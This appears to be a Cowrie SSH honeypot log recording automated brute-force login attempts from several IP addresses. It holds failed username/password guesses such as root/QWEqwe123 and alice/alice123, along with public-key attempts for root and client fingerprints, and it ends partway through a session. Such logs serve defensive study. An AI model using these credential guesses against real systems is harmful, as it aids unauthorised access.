{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:45.919547Z","src_ip":"178.20.210.208","session":"50aa2c0bc859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55628,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba34533c9bf1","protocol":"ssh","message":"New connection: 91.92.42.227:55628 (10.17.0.5:22) [session: ba34533c9bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:46.503105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:46.526061Z","src_ip":"91.92.42.227","session":"ba34533c9bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:46.593159Z","src_ip":"91.92.42.227","session":"ba34533c9bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:47.049470Z","src_ip":"91.92.42.227","session":"ba34533c9bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:48.156885Z","src_ip":"91.92.42.227","session":"ba34533c9bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55754,"dst_ip":"10.17.0.5","dst_port":22,"session":"55297ffa68e0","protocol":"ssh","message":"New connection: 91.92.42.227:55754 (10.17.0.5:22) [session: 55297ffa68e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:53.606718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:53.874528Z","src_ip":"91.92.42.227","session":"55297ffa68e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:53.879843Z","src_ip":"91.92.42.227","session":"55297ffa68e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"test","message":"login attempt [data/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:55.467594Z","src_ip":"91.92.42.227","session":"55297ffa68e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:57.062427Z","src_ip":"91.92.42.227","session":"55297ffa68e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50716,"dst_ip":"10.17.0.5","dst_port":22,"session":"4827d007e85c","protocol":"ssh","message":"New connection: 91.92.42.227:50716 (10.17.0.5:22) [session: 4827d007e85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:00.529955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:01.197401Z","src_ip":"91.92.42.227","session":"4827d007e85c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:01.201269Z","src_ip":"91.92.42.227","session":"4827d007e85c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"passwd","message":"login attempt [master/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:02.713328Z","src_ip":"91.92.42.227","session":"4827d007e85c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:04.109110Z","src_ip":"91.92.42.227","session":"4827d007e85c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47040,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b37039a7cf3","protocol":"ssh","message":"New connection: 91.92.42.227:47040 (10.17.0.5:22) [session: 4b37039a7cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:08.597292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:08.616323Z","src_ip":"91.92.42.227","session":"4b37039a7cf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:08.698682Z","src_ip":"91.92.42.227","session":"4b37039a7cf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:09.074926Z","src_ip":"91.92.42.227","session":"4b37039a7cf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:10.308071Z","src_ip":"91.92.42.227","session":"4b37039a7cf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40277,"dst_ip":"159.203.135.109","dst_port":22,"session":"50fd45b16a6e","protocol":"ssh","message":"New connection: 168.167.228.74:40277 (159.203.135.109:22) [session: 50fd45b16a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:10.631792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:10.636565Z","src_ip":"168.167.228.74","session":"50fd45b16a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:10.887938Z","src_ip":"168.167.228.74","session":"50fd45b16a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alice","password":"alice123","message":"login attempt [alice/alice123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:11.949580Z","src_ip":"168.167.228.74","session":"50fd45b16a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:13.208479Z","src_ip":"168.167.228.74","session":"50fd45b16a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.241","src_port":57456,"dst_ip":"10.17.0.5","dst_port":22,"session":"37a2af320cf4","protocol":"ssh","message":"New connection: 148.113.221.241:57456 (10.17.0.5:22) [session: 37a2af320cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.392100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.396793Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.417226Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:31:81:9d:0a:4c:bb:0b:11:c8:c4:e9:b1:3e:fd:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1lxsJBuRCzPav6Ve5vv3DXt4mqugBzHSxqVtEn4BcC/7wXa+KhkrWhcIr+w5gvMT0qim/JXaBsOzlgBm59adlSVjSY+0ezXbWqsQXDSzkMBd1aFYwTLWuuyKAVKn9dUFFGT2KPlh6DKd3CmannkfypMl6bGKy2SLEODLwSWxRh+FemvBxZ/uE/onaPHEsVKpcfZYEWeFDk9Z4BZ6OngZt91kO9vgA+4oKxpQ/Ia4kqNenlbW6OhZKaxYKX+1jRx0m8FbShdtEEQcc16hQQq9mUsvGbtO9ZJHVk06Vg+eOYvqZigpQdHKmXpuia2kr05NCjM0lCSejyPhFCm5BAfTJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:31:81:9d:0a:4c:bb:0b:11:c8:c4:e9:b1:3e:fd:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.500537Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:31:81:9d:0a:4c:bb:0b:11:c8:c4:e9:b1:3e:fd:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1lxsJBuRCzPav6Ve5vv3DXt4mqugBzHSxqVtEn4BcC/7wXa+KhkrWhcIr+w5gvMT0qim/JXaBsOzlgBm59adlSVjSY+0ezXbWqsQXDSzkMBd1aFYwTLWuuyKAVKn9dUFFGT2KPlh6DKd3CmannkfypMl6bGKy2SLEODLwSWxRh+FemvBxZ/uE/onaPHEsVKpcfZYEWeFDk9Z4BZ6OngZt91kO9vgA+4oKxpQ/Ia4kqNenlbW6OhZKaxYKX+1jRx0m8FbShdtEEQcc16hQQq9mUsvGbtO9ZJHVk06Vg+eOYvqZigpQdHKmXpuia2kr05NCjM0lCSejyPhFCm5BAfTJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.503939Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:a6:5a:13:1d:c0:05:2b:29:cd:ff:4e:c9:4e:ee:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTLXE2rSDAH3cq8c1DySHxYL3Z4H50eS3cDUYuvhx0VhpYattL5HQ3rau91X8cn41Ayy+thzOSDEcEG/KFvkF1u7n5IFnFULnO2zwcfXl9dmZJ801SG7kkXUGgG1AP3JkKHH0SDb+s0t/4tuoYHQO4JNsSPTKKhDKL71HNxlgLpl8WYkzYeZ02Yu0vWlfq88GdqBPHlDF11+5YEtRfCQV4ZizH1DRn8lgxXnmOLlPFXhvSyXPMx5131qvPbkHZfIjKcPwLMWnkGCCDgwZGYSv80z3SBKE5/Of7ITRm4rT3VLG2OMGiZq6M+Vd0shy4dl5nYeiMKFk1xpccmw4c0AVR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:a6:5a:13:1d:c0:05:2b:29:cd:ff:4e:c9:4e:ee:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.524733Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:a6:5a:13:1d:c0:05:2b:29:cd:ff:4e:c9:4e:ee:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTLXE2rSDAH3cq8c1DySHxYL3Z4H50eS3cDUYuvhx0VhpYattL5HQ3rau91X8cn41Ayy+thzOSDEcEG/KFvkF1u7n5IFnFULnO2zwcfXl9dmZJ801SG7kkXUGgG1AP3JkKHH0SDb+s0t/4tuoYHQO4JNsSPTKKhDKL71HNxlgLpl8WYkzYeZ02Yu0vWlfq88GdqBPHlDF11+5YEtRfCQV4ZizH1DRn8lgxXnmOLlPFXhvSyXPMx5131qvPbkHZfIjKcPwLMWnkGCCDgwZGYSv80z3SBKE5/Of7ITRm4rT3VLG2OMGiZq6M+Vd0shy4dl5nYeiMKFk1xpccmw4c0AVR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.528049Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:ff:2e:dd:09:5a:19:ca:54:96:b9:f3:b1:fa:f1:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX2K8yHOXnSy2u2bgU77O2I9mnO3IMG7MZJcyqsFlJlfXywF9uqeqPRZ7n6J0gJJCFLMVik+rqB9TT4pMzmo7JVR2bbZttXxpaN9qLrAYP6/hac7bqlq+CXIOO4oVVKIO9/WgwCy6Qeki8aABciLQuCgBRThXB7VQBGF1NJ/GBUNQd/DbuxJWL4cT1q8lhbdHnXy0ZcrV3T5OTWBUf2+kGNyHdA8PJjx4rri7u0dl/i8kXwc6UulP0tWV4JRaNCWmXHimPcQNp8kZfRqSAeW2iQOSfERPl5j7tyEVkDJ9vsRFlaisoRkdCr+v4/xlP5q+hKR/Ewv06BJZuKhI+6Hvl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:ff:2e:dd:09:5a:19:ca:54:96:b9:f3:b1:fa:f1:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.551935Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:ff:2e:dd:09:5a:19:ca:54:96:b9:f3:b1:fa:f1:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX2K8yHOXnSy2u2bgU77O2I9mnO3IMG7MZJcyqsFlJlfXywF9uqeqPRZ7n6J0gJJCFLMVik+rqB9TT4pMzmo7JVR2bbZttXxpaN9qLrAYP6/hac7bqlq+CXIOO4oVVKIO9/WgwCy6Qeki8aABciLQuCgBRThXB7VQBGF1NJ/GBUNQd/DbuxJWL4cT1q8lhbdHnXy0ZcrV3T5OTWBUf2+kGNyHdA8PJjx4rri7u0dl/i8kXwc6UulP0tWV4JRaNCWmXHimPcQNp8kZfRqSAeW2iQOSfERPl5j7tyEVkDJ9vsRFlaisoRkdCr+v4/xlP5q+hKR/Ewv06BJZuKhI+6Hvl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.556796Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:16:0a:79:4d:9e:50:41:02:52:29:2c:31:df:e7:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxdWTq0oif8CrVrL0oFPdw9URG2/m/oqThVExut2NrW+4ND6vxAsWQBdCwyxkrrheC4VyFqluJzN21iDwDGOBaJuV0l3XL+tyTmFkXY3peOZ/OoC7tnlczYq+HT6z6UdSjQ7pnVIcCh8iR1owhoVWP2atA6rRnHhXrCbU90efGji7ShXbJC961skqP05l4mkFcdj4uCF+YQkTFJYKiTLM9GG/JjPaTEgpr2b/UpTCcyyBZ/TuCEa4IePOX1PkdxPLfz4zvPAxPhTitwZHsKa+5fxXV9DIOLI1cQbPMTbOiRp39aO3CZvw2+uWtGWKufYNujRH4yWlMmsfUXXrGOV4Cw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:16:0a:79:4d:9e:50:41:02:52:29:2c:31:df:e7:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.578413Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
